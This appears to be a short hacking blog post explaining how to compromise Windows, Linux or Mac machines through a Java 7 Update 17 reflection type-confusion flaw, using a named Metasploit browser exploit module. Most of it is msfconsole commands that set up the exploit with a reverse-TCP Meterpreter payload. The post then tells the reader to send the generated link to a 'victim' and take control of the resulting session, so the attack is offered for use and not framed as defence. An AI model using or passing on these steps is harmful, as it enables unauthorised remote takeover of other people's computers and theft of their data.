Hack Windows, Linux or MAC PC using Java Applet Reflection Type Confusion Remote Code Execution

This module abuses Java Reflection to generate a Type Confusion, due to a weak access control when setting final fields on static classes, and run code outside of the Java Sandbox. The vulnerability affects Java version 7u17 and earlier. This exploit bypasses click-to-play throw a specially crafted JNLP file. This bypass is applied mainly to IE, when Java Web Start can be launched automatically throw the ActiveX control. Otherwise the applet is launched without click-to-play bypass.

Exploit Targets
Java 7 Update 17
Windows PC
Linux PC

Attacker: Backtrack 5
Victim PC: Windows 7

Open backtrack terminal type msfconsole

Now type use exploit/windows/browser/java_jre17_reflection_types
msf exploit (java_jre17_reflection_types)>set lhost (IP of Local Host)
msf exploit (java_jre17_reflection_types)>set target 1
msf exploit (java_jre17_reflection_types)>set srvhost (This must be an address on the local
msf exploit (java_jre17_reflection_types)>set payload windows/meterpreter/reverse_tcp
msf exploit (java_jre17_reflection_types)>exploit

Now an URL you should give to your victim

When the victim open that link in their browser, immediately it will alert a dialog box about digital signature cannot be verified like picture below.

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“ 


Post a Comment